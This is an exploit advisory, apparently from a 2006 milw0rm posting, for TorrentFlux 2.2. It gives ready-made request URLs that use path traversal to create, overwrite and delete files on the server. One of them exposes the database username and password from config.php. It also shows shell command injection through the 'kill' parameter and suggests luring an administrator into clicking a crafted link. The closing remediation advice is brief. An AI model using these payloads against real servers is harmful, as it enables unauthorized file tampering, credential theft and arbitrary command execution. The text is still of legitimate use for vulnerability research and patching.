96 lines
No EOL
5.4 KiB
Text
96 lines
No EOL
5.4 KiB
Text
#################################################################################################
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# #
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# r0ut3r Presents... #
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# #
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# Another r0ut3r discovery! #
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# #
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# TorrentFlux 2.2 Arbitrary File Creation/Overwrite/Deletion & Command Execution Vulnerablities #
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# #
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#################################################################################################
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# #
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# Software: TorrentFlux 2.2 #
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# #
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# Vendor: http://www.torrentflux.com/ #
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# #
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# Released: 2006/11/15 #
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# #
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# Discovered By: r0ut3r (writ3r [at] gmail.com) #
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# #
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# Criticality: Highly critical #
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# #
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# Note: The information provided in this document is for TorrentFlux administrator #
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# testing purposes only! #
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# #
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# "TorrentFlux 2.2Beta does not seem to be vulnerable" #
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#################################################################################################
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TorrentFlux 2.2 Arbitrary File Creation/Overwrite/Deletion & Command Execution Vulnerablity
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-------------------------------------------------------------------------------------------------
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alias_file = name of file you want to create.
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delfile = name of file you want to remove
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-= To overwrite a file (make sure q.php is there, provided thats the file you want to overwrite): =-
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/torrentflux/index.php?alias_file=../../q.php&kill=3361&kill_torrent= q.torrent
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-= To create a file: =-
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/torrentflux/index.php?alias_file=q.php&kill=3361&kill_torrent=q.torrent
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All files are filled with:
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0
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0
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Torrent Stopped
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-= Exploit on config.php =-
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/torrentflux/index.php?alias_file=../../config.php&kill=3361&kill_torrent=q.torrent
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It will redirect you to index.php and it will display the DATABASE USERNAME/PASSWORD IN PLAINTEXT, plus the rest of the config information!
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index.php displays:
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0 -100 Torrent Stopped * TorrentFlux PHP Torrent Manager * www.torrentflux.com
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**************************************************************/ /* This file is part of TorrentFlux. TorrentFlux is free software; you can
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redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either
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...etc...
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**************************************************************************/ // YOUR DATABASE CONNECTION INFORMATION
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/**************************************************************************/ // Check the adodb/drivers/ directory for support for your
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database // you may choose from many (mysql is the default) $cfg["db_type"] = "mysql"; // mysql, postgres7 view adodb/drivers/
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$cfg["db_host"] = "localhost"; // DB host computer name or IP $cfg["db_name"] = "tf"; // Name of the Database $cfg["db_user"] = "root"; //
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username for your MySQL database $cfg["db_pass"] = "owned"; // password for database
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-= Files can also be deleted like so: =-
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/torrentflux/index.php?alias_file=owned.php&kill=3361&delfile=owned.php
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-= Command Execution Exploit =-
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/torrentflux/index.php?alias_file=owned.php&kill= ; echo "r0ut3r's TorrentFlux 0day" > /tmp/q.php&kill_torrent=q.torrent&return=true
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Replace kill parameter like so:
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kill=; your command
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kill=; echo "r0ut3r just owned your system! hacked!" > /tmp/read_this.php
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The only draw back is that you have to be a registered member before you can access the functions of index.php.
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Alternatively you could direct the administrator to a link which overwrites the config.php file, then catch the output on index.php somehow (be quick).
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Solution:
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----------
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Sanitize all variables listed above and below.
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alias_file
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delfile
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kill
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kill_torrent
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Solution 2:
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-----------
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Set up .htaccess and only allow certain people to login until an offical patch is released.
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----------------------------------------------------------------------------------------------
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This has been another r0ut3r discovery (writ3r [ at ] gmail.com)
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----------------------------------------------------------------------------------------------
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# milw0rm.com [2006-11-15] |